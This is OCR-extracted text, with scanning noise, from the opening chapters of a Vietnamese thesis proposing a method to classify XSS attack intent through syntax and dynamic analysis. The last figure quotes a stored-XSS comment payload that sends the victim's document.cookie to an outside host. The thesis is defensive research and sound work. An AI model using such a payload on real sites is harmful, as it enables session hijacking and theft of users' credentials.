Phương pháp mới này hứa hẹn mang lại một công cụ hiệu quả trong việc phát hiện và ngăn chặn các cuộc tấn công XSS, góp phần nâng cao mức độ an toàn cho các ứng dụng web... Phương phaép n
Trang 1VO HOANG KHANH PHAN QUANG KHAI
KHOA LUAN TOT NGHIEP
PHUGNG PHAP NHAN DIEN Y DINH TAN CONG XSS DUA
VAO PHAN TICH CU PHAP VA PHAN TICH DONG
INTENTION ESTIMATION OF XSS ATTACK BASED ON
SYNTAX ANALYSIS AND DYNAMIC ANALYSIS
CU NHAN NGANH AN TOAN THONG TIN
GIANG VIEN HUGNG DAN:
ThS NGHI HOANG KHOA Ths NGO KHANH KHOA
TP.H6 Chi Minh - 2024
Trang 2LỜI CAM ĐOAN
Chúng tôi cam đoan luận văn “Phương pháp nhận diện ý định tấn công
XSS dựa vào phân tích cú pháp va phân tích động” là công trình nghiên
cứu của chính chúng tôi.
Chúng tôi cam đoan các kết quả, các số liệu được nêu ra trong luận văn làtrung thực, chưa có tác giả nào nghiên cứu hoặc công bố trước đây Các côngtrình, đề tài được dùng làm tài liệu tham khảo, làm cơ sở hoàn thiện luận văn
này được trích dẫn đúng theo quy định.
Hà Chí Minh, ngay 20 tháng 06 năm 2024
Phan Quang Khải Võ Hoàng Khanh
Trang 3LOI CAM ON
Trước hết, chúng tôi xin chan thành cảm ơn Ban Giám hiệu, Phong Dao tao đại học, Khoa Mang máy tính - Truyền thông va Quý Thay, Cô tại Trường Dai học Công nghệ thông tin - Đại học Quốc gia Thành phố Chí Minh đã tạo mọi
điều kiện thuận lợi giúp tôi trong thời gian học tập và hoàn thành luận văn
Trong suốt quá trình nghiên cứu và hoàn thành khóa luận tốt nghiệp, nhóm
đã may mắn nhận được sự định hướng, giúp đỡ, các ý kiến đóng góp quý báu
cùng những lời động viên chân thành từ các Giảng viên hướng dẫn và Giảng
viên bộ môn.
Nhóm muốn gửi lời cảm ơn chân thành nhất tới Thầy ThS Nghi Hoàng
Khoa và Thầy ThS Ngô Khánh Khoa vì sự tận tâm và nhiệt tình trong
việc hướng dẫn và hỗ trợ nhóm trong suốt quá trình nghiên cứu và thực hiệnkhóa luận Sự chỉ bảo và động viên của hai thầy đã giúp nhóm vượt qua nhiều
khó khăn và thử thách.
Dù cho đề tài này có thể chưa đạt được sự hoàn hảo như mong đợi, nhưng nhóm đã nỗ lực hết mình và luôn hy vọng rằng sẽ có cơ hội để hoàn thiện và cải
thiện nó trong tương lai Nhóm xin chân thành cảm ơn các Thay, Cô
Hà Chí Minh, ngày 20 tháng 06 năm 2024
Phan Quang Khải Võ Hoàng Khanh
Trang 4MỤC LỤC
LỜI CAM ĐOAN_ vo i LOICAMON 0000000002 eee eee ii
MỤC LUC ee iii
DANH MỤC CÁC KÝ HIỆU, CAC CHU VIET TAT vi
DANH MỤC CÁC HINH VE vii
DANH MUC CAC BANG BIBU viii
MỞ ĐẦU ge |
CHƯƠNG 1 TONG QUAN 2 11 Giới thiệu van đề v2 2 1.2 Tính cấp thiét của vân đề 2 Ọ%./ ⁄ 2
1.3 Các nghiên cứu liên quan 4
1.3.1 Phương pháp nhận diện ý định SQL injection |4| 4
1.3.2 Khao sát về tấn công XSS|9] 4
1.3.3 Phương pháp tấn công tổ hợp XSSing [3] 5
1.4 Mục tiêu, đối tượng, và phạm vi nghiên cứu 5
1.41 Muc tiéunghién ctu 5
1.4.2 Đối tượng nghién cứu 6
1.4.3 Phạm vi nghincỨu Ặ co 7 1.5 Cấu trúc khóa luận tốt nghiệp 7
CHƯƠNG 2 CO SỞ LY THUYET 9 2.1 Ungdungweb 0.00.00 v2 9 2.1.1 Kiến trúc của ứng dung web 10
2.1.2 Giới thiệu về HyperText Markup Language (HTML) 12
2.1.3 Cấu trúc một trang HTML 12
Trang 52.2 Ngôn ngữ lập trình scripting .0.0 13
2.2.1 Lợi ích của việc sử dung ngôn ngữ scripting 14
2.2.2 Một vài nhược điểm của ngôn ngữ scripting 14
2.3.1 Lợi ích của Javascript trong việc phát triển và lập trình web 15
2.3.2 Lập trình client-side 2.00.0 15 2.3.3 Lập trình server-side 0 15
2.4 Giới thiệu về Document Object Model (DOM) 16
2.4.1 Tại sao cần có DOM 0 2 000 16
2.4.2 Cách biểu diễn va các phương thức thao tác của DOM 17
2.5 Giới thiệu về Web Application Firewall(WAF) 19
2.6 Giới thiệu về XS eG NN Swe 20
CHƯƠNG 3 TONG QUAN VE DEEPBIN-INSPECTOR MÔ
HÌNH PHAT HIEN SU TƯƠNG DONG MA NHI
PHAN DUA TREN HOC SAU 32
3.1 Phương pháp nhận diện ý định tấn cong XSS 32
3.1.1 Vấn đề đặtra ee 32
3.1.2 Tổng quan về phương pháp - 33
Trang 63.1.3 Phân tích cúphấp co
3.1.4 Dán nhãn 2 2 000000004
3.1.5 Phân tich déng 0040.
3.1.6 Phân loại ý định 00 000 eee CHƯƠNG 4 THÍ NGHIEM VA DANH GIÁ 4.1 Hiện thực 0.00000 ee ee 4.1.1 Cai đặt công cu và môi trường
4.1.2 Tap dữ liệu đấnhgiá
4.1.3 Môi trường thực nghiệm
4.2 Kết quả thực nghiệm và đánh giá
4.2.1 Kịch bản thực nghiệm
4.2.2 Kết quả thực nghiệm
4.2.3 Đánh giá thực nghiệm
CHƯƠNG 5 KẾT LUẬN
5.1 Kết luận
5.2 Hướng phat triỂn Q.2
TÀI LIỆU THAM KHẢO
49
49
49
56
9í 57 57
59 62
63
63 64
66
Trang 7DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIET TAT
X55 Cross-Site Scripting SQL Structured Query Language
HTML HyperText Markup Language
DOM ~ Document Object Model WAF ~~ Web Application Firewall
Trang 8Hình 1.1
Hình 1.2
Hình 2.1
Hình 2.2
Hình 2.3
Hình 2.4
Hình 2.5
Hình 2.6
Hình 2.7
Hình 2.8
Hình 2.9
Hình 2.10
Hình 2.11
Hình 2.12
Hình 2.13
Hình 3.1
Hình 3.2
Hình 3.3
Hình 3.4
Hình 3.5
Hình 3.6
Hình 3.7
Hình 3.8
Hình 3.9
vil
DANH MUC CAC HINH VE
Sự tang lên của tấn công XSS theo từng nim 3
So sánh các lỗ hồng trong năm 2024 3
Một số khung (framework) lập trình web 9
Ví dụ HTML 13
Biễu diễn tài liệu HTML quaDOM 18
Web Application EFirewall 20
Vi du về các bước khai thác lỗ hổng Stored X8S 22
Ví dụ attacker chèn HTML vào phần bình luận 23
Ví dụ về các bước khai thác lỗ hổng Reflected XSS 24
Ví dụ về các bước khai thác lỗ hổng DOM-based XSS 26
Ví dụ về các bước khai thác lỗ hổng DOM-based XSS 27
Vi dụ về các bước khai thác lỗ hổng DOM-based XSS 27
Vi dụ về các bước khai thác 16 hổng DOM-based XSS 28
Trang login Microsoft giả mạo 29
Defacement 000 ee eee 30 XSS recon trên web Amazon 000 33 Cảnh báo XSS trên Palo Alo 33
Mô hình tổng quan của phương pháp đề xuất 34
Token split Q1 xa 36 Semanticrule 2200000000 00004 38
DOM change log 00.0000 ee eee 42 Selenium result 0.000000 000000000000 04 44
Trang 9Hình 3.10 Intention rule so 45 Hình 3.11 Login form code ch 46 Hình 3.12 Loginform so 46 Hình 3.13 Login link ho 47
Hình 41 Damn Vulnerable Web Application 50
Hình 4.3 Result payload so 51
Hình 4.4 Luong hoạt động của công cỤ 58 Hình 45 Kết quacongcu 2 0.0.0 ee 59
Trang 10DANH MỤC CÁC BANG BIEU
Phương thức thao tác của DOM_ 19
Bang token trong phân tích cú pháp 35
Bảng điều kiện Ốc 39
Tập dữ liệu nội bộ 57
Kết quả thực nghiệm tập dữ liệu nội bộ 60Kết quả thực nghiệm tập dữ liệu thực tế deepXSS 61
Trang 11TÓM TẮT KHÓA LUẬN
Trong bồi cảnh các ứng dụng web ngày càng phổ biến, các lỗ hong bảo mật liên quan đến chúng cũng gia tăng, trong đó nổi bật nhất là tấn công Cross-Site
Scripting (XSS) Khóa luận nay đề xuất một phương pháp nhận diện ý định tấn
công XSS dựa vào phân tích cú pháp và phân tích động.
Mục tiêu chính của phương pháp này là xác định chính xác mục đích của cáccuộc tấn công, từ đó giúp các chuyên gia bảo mật rút ngắn đáng kể thời gian
phản ứng và khắc phục hậu quả Kết quả nghiên cứu cho thấy phương pháp này
đạt được tỷ lệ nhận diện chính xác cao trên hai tập dữ liệu: tập dữ liệu có dán
nhãn và tập dữ liệu không dấn nhãn.
Phương pháp mới này hứa hẹn mang lại một công cụ hiệu quả trong việc
phát hiện và ngăn chặn các cuộc tấn công XSS, góp phần nâng cao mức độ an
toàn cho các ứng dụng web.
Trang 12CHƯƠNG 1 TONG QUAN
Chương này giới thiệu về van đề chúng tôi sé nghiên cứu và các nghiên cứu
đã có trước đó Đồng thời chúng tôi trình bày phạm vi và cấu trúc của Khóa
luận.
1.1 Giới thiệu vấn đề
Hiện nay, ứng dụng web đã trở thành một trong những nền tảng tiêu chuẩn
để trình bày dit liệu và cung cấp các dich vụ trực tuyến Với sự gia tăng của việc
sử dụng các ứng dụng web, chúng đồng thời trở thành mục tiêu quan trọng cho
các 16 hổng liên quan đến web Trong số những cuộc tấn công chủ yếu, Cross-Site
Scripting (X98) nổi lên như một loại tấn công tiêm nhiễm (injection) phổ biến
trong các ứng dụng web hiện đại Các tình huống này có thể bị khai thác thông
qua việc tiêm mã JavaScript vào trang web, tạo điều kiện cho những hậu quả
nguy hiểm.
1.2 Tính cấp thiết của vấn đề
Theo thị trường và sự phổ biến của ứng dụng web, số liệu thống kê về lỗ hong
XSS là ấn tượng Chúng chiếm một phần lớn trong tổng số các lỗ hổng bảo mật
được báo cáo hàng năm Trong hình 1.1 và hình 1.2, chúng ta có cái nhìn tổng quan về các số liệu thống kê từ trang web www.cvedetails.com về các lỗ hong
được báo cáo theo từng năm (tính đến tháng 6/2024).[10|
Trang 13Vulnerabilities by type & year
30,000
25,000 20,000
SSRF XXE
CSRF File inclusion
Overflow meœxriox
(Œ@ Memory corruption
@B SQL injection
qm xss 8ï Directory traversal (Œ@ File inclusion
Rõ ràng, tấn công XSS là một trong những mối đe dọa nghiêm trọng nhất
trên Internet Sự phức tap và phổ biến của XSS đặt ra thách thức lớn cho các
nhà nghiên cứu bảo mật, yêu cầu họ phải không ngừng tìm kiếm các biện pháp
phòng ngừa và phát triển các giải pháp hiệu quả để bảo vệ người dùng và dữ
liệu.
Trang 141.3 Các nghiên cứu liên quan
1.3.1 Phương phaép nhận diện Ú định SQL injection [4]
Ngữ cảnh: nhiều ứng dụng web lưu trữ thong tin quan trọng, chang han
như dữ liệu cá nhân của khách hàng, một trong những cuộc tấn công phổ biến
và nghiêm trọng nhất là SQL injection, nhằm rò rỉ thông tin từ các cơ sở dữ
liệu (DBs).
Đặt vấn đề: tường lửa ứng dụng web sử dụng cơ chế dựa trên chữ ký (signatures) để phát hiện và ngăn chặn các cuộc tấn công Tuy nhiên, cơ chế này có hạn chế vì có thể ngăn chặn những yêu cầu hợp lệ một cách không cần
thiết và chủ yếu chỉ được sử dụng trong việc phát hiện, chứ không phải ngăn
chặn Việc ngăn chặn thường được thực hiện thủ công.
Phương pháp tác giả đề xuất: xây dựng một giải pháp rút ngắn thời gian
phân loại các cuộc tan công SQL injection, thông qua việc xác định loại ý địnhtấn công dựa trên phan tích cú pháp và phân tích động các truy vấn SQL trongcác yêu cầu HT'TP.|4|
Cụ thể, phương pháp này xác định ý định tấn công dựa trên nhiều quy tắc
được xác định trước, giúp các nhà điều hành máy chủ web không cần phân tích
thủ công các cuộc tấn công SQLi Thay vào đó, họ có thể nhanh chóng xác định
ý định và thực hiện hành động dựa trên thông tin đã được thu thập.
Dây cũng chính là nền tảng cho ý tưởng để nhóm tác giả phát triển phương
pháp nhận diện ý định tấn công SQL injection
1.3.2 Khảo sát vé tan công XSS [9]
Dé phát triển phương pháp nhận diện ý định tấn công XSS hiệu quả, việc
hiểu rõ các loại tấn công XSS và phân loại đúng các ý định tấn công là điều tiên
quyết
Theo |9], tác động của tấn công XSS có thể được liệt kê như sau:
Trang 15e Thay đổi nội dung của ứng dung web.
e Dánh cắp cookie phiên.
e Dánh cắp hoặc mạo danh danh tính người dùng.
e Chiếm đoạt phiên HTTP của người dùng.
Nghiên cứu này là nền tảng giúp nhóm chúng tôi xác định các đặc điểm quan
trọng của cuộc tấn công và xây dựng phương pháp kết hợp phân tích cú pháp
và phân tích động.
1.3.3 Phương pháp tắn công tổ hợp XSSing [3]
Trong bài báo "Combinatorially XSSing Web Application Firewalls", các tác
giả đã phát triển một mô hình ngữ pháp tiên tiến để tạo ra các vectơ tấn công
XSS phức tạp và đa dạng Ngữ pháp tấn công được xây dựng một cách ti mi,
bao gồm các quy tắc và cau trúc cú pháp nhằm tạo ra các đoạn mã độc hại có
khả năng vượt qua các bộ lọc của tường lửa ứng dụng web (WAF).
Các tác giả đã tập trung vào việc kết hợp các yếu tố khác nhau như JavaScript,
HTML tags, và các sự kiện trên trình duyệt để tạo ra các vectơ tấn công.[3]
Nghiên cứu này là nền tảng cho chúng tôi có một cách tiếp cận mới mẻ vàtoàn diện trong việc phân tích cú pháp các cuộc tấn công X88
1.4 Mục tiêu, đối tượng, và phạm vi nghiên cứu
1.4.1 Mục tiêu nghiên cứu
Trong phạm vi nghiên cứu, nhóm đề xuất phát triển và đánh giá một phương
pháp mới nhằm nhận diện ý định tấn công XSS dựa trên phân tích cú pháp và
phân tích động Phương pháp này kết hợp hai kỹ thuật để cải thiện độ chính
xác và hiệu quả trong việc nhận diện ý định các cuộc tan công XSS
Các mục tiêu cụ thé bao gom:
Trang 16e Tìm hiểu cách thức hoạt động, trình bày của một website, các kỹ thuật tấn
công và bảo mật website.
e Nghiên cứu và phân tích các kỹ thuật tấn công XSS hiện đại, bao gồm cả
những kỹ thuật tấn công và cách các câu lệnh tác động lên trang web.
e Xây dựng một công cụ phân tích cú pháp để phân tích các tải trọng
(pay-loads) được chèn vào.
e Xây dựng một thuật toán hoặc phương pháp phân tích động để phát hiện
các hoạt động không bình thường của mã JavaScript trong quá trình thực
thi.
e Kết hợp kỹ thuật phân tích cú pháp và phân tích động để tạo thành một
phương pháp phát hiện tấn công XSS toàn diện
e Dánh giá hiệu quả của phương pháp bằng cách sử dụng các bộ dit liệu thử
nghiệm
e Áp dụng phương pháp phát hiện tấn công XSS đã phát triển vào các ứng
dụng web thực tế để đánh giá khả năng áp dụng và độ tin cậy của nó trong
môi trường sản xuất
1.4.2 Đối tượng nghiên cứu
e Lỗ hồng XSS và các kĩ thuật khai thác XSS
e Ki thuật phân tích cú pháp
e Ki thuật phân tích động
e Các ý định của kẻ tấn công khi thực hiện khai thác XSS.
e Dựng môi trường khai thác, các ứng dụng web chứa nguy cơ XSS.
Trang 171.4.2 Pham vi nghién cứu
Pham vi thời gian:
Luận văn nay được thực hiện từ ngày 26/2/2024 đến 30/6/2024 Thời gian
này sẽ bao gồm từ quá trình nghiên cứu cơ bản, phát triển công cụ và phương
pháp, đến thực hiện thử nghiệm và đánh giá hiệu quả
Phạm vi không gian:
Nghiên cứu sẽ tập trung vào môi trường web thực nghiệm.
Phạm vi nội dung:
Nghiên cứu sẽ bao gồm các khía cạnh như phân tích các kỹ thuật tấn công
XSS hiện đại, phát triển công cụ tự động để phân tích cú pháp mã nguồn, nghiên cứu và áp dụng các phương pháp phân tích động để giám sát thực thi
mã JavaScript, xác định và phân tích các ý định tan công
1.5 Cau trúc khóa luận tốt nghiệp
Chúng tôi trình bày nội dung của khóa luận theo cấu trúc như sau:
e Chương 1 Tổng quan
Giới thiệu tổng quan về đề tài của khóa luận tốt nghiệp, mục tiêu, đối tượng
và phạm vi nghiên cứu.
e Chương 2 Cơ sở lý thuyết
Trình bày cơ sở lý thuyết và công nghệ liên quan đến XSS và các phương
pháp phát hiện và nhận diện ý định tấn công XSS.
e Chương 3 Phương pháp nhận diện ý định tấn công XSS dựa vào
phan tích cú pháp va phan tích động
Trình bày về phương pháp và công nghệ được áp dụng để phân tích cú pháp
và động cho việc nhận diện tấn công XSS.
Trang 18e Chương 4 Thí nghiệm và đánh giá
Thực nghiệm và đánh giá hiệu quả của phương pháp đề xuất.
e Chương 5 Kết luận
Tổng kết, đánh giá kết quả và hướng phát triển trong tương lai.
Trang 19CHƯƠNG 2 CƠ SỞ LÝ THUYẾT
2.1 Ứng dụng web
Ứng dụng web (web application) là một phần mềm hoặc chương trình máy
tính được thiết kế để chạy trên trình duyệt web.
Các ứng dụng web được phân phối trên World Wide Web tới người dùng có
kết nối mang đang hoạt động.|6]
Ứng dụng web có thể cung cấp các dịch vụ như mạng xã hội, mua sắm trực
tuyến hoặc các dịch vụ ngân hàng trực tuyến Các ứng dụng web phổ biến ngày
nay bao gồm Gmail, Facebook, Amazon
Trang 202.1.1 Kiến trúc của ứng dựng tueb
Ứng dụng web hoạt động dựa trên kiến trúc client-server, nghĩa là sẽ có các
xử lý được thực hiện tại phía client (client-side), và có các xử lý được thực hiện
6 phía server (server-side).
Một ứng dung web thường được chia thành ba phần chính: client-side,
e HTML (HyperText Markup Language): Ñgôn ngữ đánh dấu được sử
dụng để tạo cấu trúc và nội dung cho trang web HTML xác định các
phần tử như tiêu đề, đoạn văn, liên kết, biểu mẫu, và các thành phần
khác.
e CSS (Cascading Style Sheets): Ngôn ngữ định kiểu được sử dụng để
mô tả cách trình bày HTML trên trang web CSS xác định giao điện
trực quan của các phần tử HTML, bao gồm màu sắc, phông chữ, bố
cục, và các hiệu ứng khác.
e JavaScript: Ngôn ngữ lập trình được sử dụng để tạo ra các tính năng
động và tương tác trên trang web JavaScript có thể thay đổi nội dungHTML, thao tác với CSS, xử lý sự kiện người dùng, và thực hiện các
yêu cầu bất đồng bộ (AJAX) đến server
e Frameworks và Libraries: Các thư viện và khung làm việc như React,
Angular, và Vue.js giúp phát triển ứng dụng web nhanh hơn và dễ
dang hơn bằng cách cung cấp các công cụ và cấu trúc sẵn có.
Trang 21Các xử lý tai client-side bao gồm việc gửi yêu cầu tới server, nhận mã HTML,
CSS và JavaScript từ server, thực thi mã và hiển thị kết quả cho người dùng.
2.1.1.2 Server-side
Server-side (back-end) là nơi xử lý logic nghiệp vụ va quản lý dữ liệu của ứng
dụng Đây là phần mà người dùng không nhìn thấy nhưng rất quan trọng để
đảm bảo ứng dụng hoạt động đúng cách Các thành phần chính của server-sidebao gồm:
e Server: Máy chủ lưu trữ ứng dụng và xử lý các yêu cầu từ client Các
ngôn ngữ pho biến để phát triển phía server bao gồm Node.js, Django,Ruby on Rails, và ASP.NET.
e Database: Cơ sở dit liệu lưu trữ va quan lý dữ liệu của ứng dung.
Các hệ quản trị cơ sở dit liệu pho biến bao gồm MySQL, PostgreSQL,MongoDB, va Microsoft SQL Server.
e Server-Side Logic: Chita các logic nghiệp vụ và xử lý dữ liệu trước khi
trả lại kết quả cho client
Các xử lý tại server-side bao gồm việc nhận yêu cầu do client gửi tới, làm việcvới cơ sở dữ liệu, xử lý yêu cầu, trả kết quả về cho client
2.1.1.8 Giao thúc mang
Giao thức mạng là tập hợp các quy tắc và tiêu chuẩn cho việc truyền dữ liệu qua mạng, đảm bảo rằng các thành phần client-side và server-side có thể giao
tiếp hiệu quả và an toàn
e HTTP/HTTPS: Giao thức truyền tải siêu văn bản là nền tảng của
truyền thông web HTTPS là phiên bản bảo mat của HTTP, sử dụng
mã hóa SSL/TLS để bảo vệ dữ liệu.
Trang 22e WebSockets: Giao thức cung cấp kênh giao tiếp hai chiều toàn thời
gian giữa server va client, thường được sử dụng cho các ứng dụng thời
gian thực như chat hoặc game.
e RESTful APIs: Kiến trúc dịch vụ web phổ biến cho phép giao tiếp
giữa client và server thông qua các phương thức HTTP như GET, POST, PUT, và DELETE.
e GraphQL: Ngôn ngữ truy van dữ liệu linh hoạt và hiệu quả hon REST,
cho phép client yêu cầu chính xác dữ liệu cần thiết.
2.1.2 Giới thiệu vé HyperText Markup Language (HTML)
HTML là ngôn ngữ tiêu chuẩn dùng để tạo các trang web HTML là sự kết
hợp của Hypertext (định nghĩa liên kết giữa các trang web) và Markup (định
nghĩa các tài liệu văn bản trong các tag để cấu trúc và định dạng một trang web), các tag được sử dụng để định nghĩa các thao tác sẽ được thực hiện trênvăn bản.
2.1.3 Cấu trúc một trang HTML
HTML sử dụng các thẻ và phần tử được xác định trước để hướng dẫn trình duyệt hiển thị nội dung HTML bao gồm thẻ đóng, thẻ mở và nội dung giữa haithẻ đó.
Lay ví dụ một đoạn mã HTML như sau:
Trang 23Hinh 2.2: Vi dụ HTML
e <!DOCTYPE html>: khai báo loại tài liệu mà ở đây là HTML.
e <html>: phần tử gốc của html, tất cả phần tử định nghĩa mot trong
đó.
e <head>: head tag bao gồm các phần tử bên trong của trang web và
không được hiển thị ở phần front-end.
e <title>: tag này đặt tiêu đề cho trang web.
e <body>: tag này bao gồm tất cả nội dung sẽ được hiển thị trên trang
web.
Ngoài ra còn rất nhiều tag khác được sử dụng trong thiết kế web, tham khảo
day: https:/ /developer.mozilla.org/en-US/docs/Web/HTML/Element
2.2 Ngôn ngữ lập trình scripting
Ngôn ngữ scripting là loại ngôn ngữ mà máy tính có thực thi trực tiếp từ
mã nguồn mà không cần thông qua quá trình biên dịch Các ngôn ngữ như
Trang 24Javascript (được giới thiệu ở phần tiếp theo) thường được nhúng trực tiếp vào
mã nguồn HTML của trang web và chay trên trình duyệt khi người dùng truy
cập trang web đó.
2.2.1 Lợi ích của viéc sử dung ngôn ngữ scripting
e Dễ học và sử dụng: script sử dụng các câu lệnh và cú pháp đơn giản.
e Khong cần biên dịch: các thông tin trong script cần phải chuyển thành
mã nhị phân và đươhc thông dịch bởi trình thông dịch, do đó tiết kiệm
được rất nhiều thời gian để thực thi đươc code.
e Khả năng mở rộng các chức năng và dịch vụ một cách linh hoạt.
e Tìm và sửa lỗi một cách dễ dàng: nhờ các công cụ debug trên trình
thông dịch giúp phát hiện nhanh chóng và sửa lỗi trực tiếp trên mã
nguồn
2.2.2 Một vai nhược điểm của ngôn ngữ scripting
e Bảo mật kém: mã nguồn được lưu trữ dưới dạng văn bản và có thể dễ
dang truy cập, làm tăng nguy cơ bị tấn công và khai thác
e Phụ thuộc vào trình thông dịch: script chỉ chạy đúng với trình thông
dịch của nó gây ra nhiều vấn đề tương thích giữa các thiết bị và hệ
thống khác nhau.
e Hiệu năng kém đối với các hệ thống lớn và phức tạp: không thích hợp
đối với các hệ thống đòi hỏi hiệu năng cao và phức tạp về mặt tính
toán.
Trang 252.3 Giới thiệu về Javascript
Javascript là ngôn ngữ lập trình đơn luồng và đa nền tang, Javascript còn
được gọi là ngôn ngữ kịch ban (scripting) tương tự như Python.
Javascript được sử dụng để phát triển web ở client-side cũng như server-side.
Javascript vừa là ngôn ngư mệnh lệnh vừa là ngôn ngữ khai báo Javascript chứa
một thư viện chuẩn gồm các đối tượng, câu trúc điều khiển và câu lệnh.
Client-side: Javascript cung cấp các đối tượng để điều khiển trình duyệt và
mô hình DOM và phản hồi lai các sự kiện của người dùng như nhấp chuột, nhập
biếu mẫu và điều hướng trang
Server-side: Javascript cung cấp các đối tượng liên quan đến thực thi scripttrên server Javascript cho phép ứng dụng giao tiếp với cơ sở dữ liệu và cung cấp
thông tin liên tục từ lệnh gọi đến lệnh gọi khác của ứng dụng hoặc thực hiện
các thao tác tệp trên server.
2.3.1 Lợi ích của Javascript trong viéc phat triển va lập trinh web
2.3.2 Lập trinh client-side
e Tương tác với bộ nhớ tam thời.
e Tương tác với bộ nhớ cục bộ.
e Gửi yêu cầu dữ liệu đến máy chủ.
e Hoạt động như một giao diện giữa máy chủ và người dùng.
e Tạo các trang web tương tác.
2.3.38 Lập trinh server-side
e Truy vấn co sở dit liệu.
e Thao tác trên cơ sở dit liệu.
Trang 26e Thao tác với tệp trên máy chủ.
e Tương tác với các máy chủ khác.
e Xử lí dữ liệu đầu vào của người dùng.
2.4 Giới thiệu về Document Object Model (DOM)
DOM là model giao diện lập trình cho các tài liệu HTML va XML DOM đại
diện cho cấu trúc của trang web, nó định nghĩa các đặc tính cơ bản và hành vi
của các thẻ HTLM , cho phép các đoạn mã Javascript truy cập, thao tác cũngnhư thay đổi nội dung, cấu trúc của trang web một cách linh hoạt.
Vì vậy, cơ cơ bản DOM như mot API đại diện giúp tương tác với các tài liệu
HTML và XML.
2.4.1 Tai sao cần có DOM
Khi một tệp HTML được tải vào trình duyệt, các đoạn mã cient-side Javascriptkhông thể hiểu trực tiếp tài liệu HTML mà phải diễn giải và tương tác với nóthông qua DOM.
Về cơ bản DOM như một biểu diễn của tài liệu HTML nhưng dưới dạng cây cấu trúc bao gồm các đối tượng Javascript không hiểu được thé <al></al> trong HTML nhưng lại có thể hiểu đối tượng a1 trong DOM.
Mô hình DOM rất cần thiết trong việc lập trình và phát triển web vì những
lí đó sau:
e Khả năng tương tác: nhanh chóng phản hồi lại các hành động của
người dùng và sửa đổi trang web cho phù hơp.
e Tao trang web động: cho phép Javascript truy cập và thao tác nội
dung, kiểu trang một cách linh hoạt giúp tăng độ tương tác và phản
hồi một cách nhanh chóng.
Trang 27e Cập nhật: câp nhật nội dung mà không cần phải tải lại toàn bộ trang,
DOM cho phép thay đổi các thành phần cụ thể giúp cập nhật nhanhchóng và thân thiện với người dùng hơn.
e Khả năng tương thích: DOM cung cấp cách tiêu chuẩn hóa điển hiện
HTML và CSS ở nhiều trình duyệt và thiết bị khác nhau.
2.4.2 Cách biểu diễn va các phương thức thao tác của DOM
DOM được thể hiện bằng cấu trúc cây (Tree) hoặc Forest (nhiều hơn một
cây) Mỗi nhánh của cây kết thúc bằng một nút và mỗi nút chứa các đối tượng.
Trình xử lý sự kiện có thể được thêm vào các nút và được kích hoạt khi xảy ra
một sự kiện nhất định Một thuộc tính quan trọng của các mô hình cấu trúc
DOM là tính dang cấu cấu trúc : nếu bất kỳ hai triển khai DOM nào được sử dụng để tạo ra một biểu diễn của cùng một tài liệu, chúng sẽ tạo ra cùng một
mô hình cấu trúc, với các đối tượng và mối quan hệ giống hệt nhau
Ví dụ một đoạn HTML có cấu trúc như sau:
<table> <info> <h1> <name>Khai</name> <surname>Phan< /surname>
</hl> <b2> <name>Khanh</name> <surname>Phan< /surname> </b2>
</info> </table>
Cấu trúc sẽ được biểu diễn qua DOM như sau:
Trang 28CO Laer) Cm)
Hình 2.3: Biéu diễn tài liệu HTML qua DOM
DOM sử nhiều phương thức khác nhau để thao tác với các tài liệu, sau day
là một số phương thức thường được sử dụng:
Trang 29Bang 2.1: Phương thúc thao tác của DOM
Phương pháp Mô tảWrite() Viết chuỗi đã cho vào tài liệu
getElementByld() Trả về phan tử có giá trị ID da cho
getElementByld() Tra về phan tử có tên đã cho
getElementsByTagName() | Trả về phần tử có tên thẻ đã chogetElementsByClassName() | Trả về phần tử có tên lớp đã cho
open() Mở HTML output stream để lay dữ
liệu đầu ra từ document.write()
close() Đóng output stream đã được mở
trước đó bởi document.write()
2.5 Giới thiệu về Web Application Firewall (WAF)
WAF là một giải pháp bảo vệ các ứng dung web bang cách giám sát các luồnggiao tiếp HTTP giữa ứng dụng web và Internet WAF hoạt động như một láchắn giữa server và mạng bên ngoài giúp phát hiện ngăn chặn các các thức như
SSRF, X55, SQL mnjection,
WAF hoạt động thông qua một tập rule được gọi là chính sách (policies),
WAF quan sát luồng giao tiếp và kết hợp chính sách để loc ra các sự kiện, dữ
liệu đáng ngờ, từ đó cảnh báo cho người dùng và đưa ra cách xử lí phù hơp.
Hình 2.4 mô tả cách thức hoạt động của WAF.
Trang 30người dùng Khai thác lỗi XSS cho phép attacker lấy được thông tin về trình
duyệt như cookie, session tokens hoặc thông tin nhạy cảm của người dùng nhưtài khoản đăng nhập , ngoài ra attacker còn có thể thay đổi nội dung trang web.
Đây là trường hợp nguy hiểm có thể ảnh hưởng nghiêm trọng đến người sở hữu
trang web cũng như những người truy cập.
Hình thức phổ biến nhất của khai thác lỗ hồng XSS là chèn các đoạn mã
Javascript vào phần nhập dữ liệu (input) của người dùng hoặc URL của trangweb Khi người dùng khác truy cập các trang web đã bị khác và các thành phần
bị ảnh hưởng, đoạn mã sẽ được thực thi dẫn đến các thiệt hại không mong muốn
Những nguyên nhân phổ biến khiến các trang web dễ bị khai thác XSS bao
gồm:
e Lấy dữ liệu người dùng nhập vào và gửi trực tiếp đến backend mà
Trang 31không thông qua bất kì phương pháp xác thực cũng như mã hóa nào
e Chưa xử lí được hết bugs logic còn tồn tại
e Không tuân theo các chính sách tiêu chuẩn về bảo mật như CSP
(Content Security Policy).
2.7 Cac hình thức khai thác XSS
Khai thác XSS có thể chia làm ba loại chính: Stored XSS, Reflected XSS và
DOM-based XSS Trong đó Stored XSS,Reflected XSS liên quan đến server-sidecủa web, còn DOM-based XSS liên quan đến client-side của web
2.7.1 Stored XSS
Doan mã độc hại được lưu trên database của web server Khi có người dùng
nào đó truy cập trang web hoặc các thành phần của web đã bị khai thác, đoạn
mã sẽ được thực thi gây ảnh hưởng đến người dùng
2.7.1.1 Phương pháp khai thác
e 1 Attacker truy cập vào trang web không an toàn và thành công chèn
được đoạn ma Javascript vào database của web server (thông thường
qua các thành phần như comment hoặc post)
e 2 Người dùng bình thường truy cập vào trang web và xem các thành
phần của trang web (comment, post, ), gửi yêu cầu xem dữ liệu đến
database của web server.
e 3 Trang web gửi về dữ liệu từ database bao gồm đoạn mã Javascript
đã được chèn bởi attacker.
e 4 Trình duyệt của người dùng biên dịch đoạn ma Javascript như một
phần của trang web và thực thi đoạn mã đó.
Trang 32e Attacker phát hiện một trang web có lỗ hong không lọc dữ liệu người
dùng nhập cho phép attacker nhúng HTML vào phần bình luận tacker có đăng nhận xét có chứa mã Javascript trong phần bình luận
At-đó
Trang 33Forum.com
Commerrt
Just my opinion, please read !!!
<serip> sre="http://mysite.com”+document.cookie </script>.
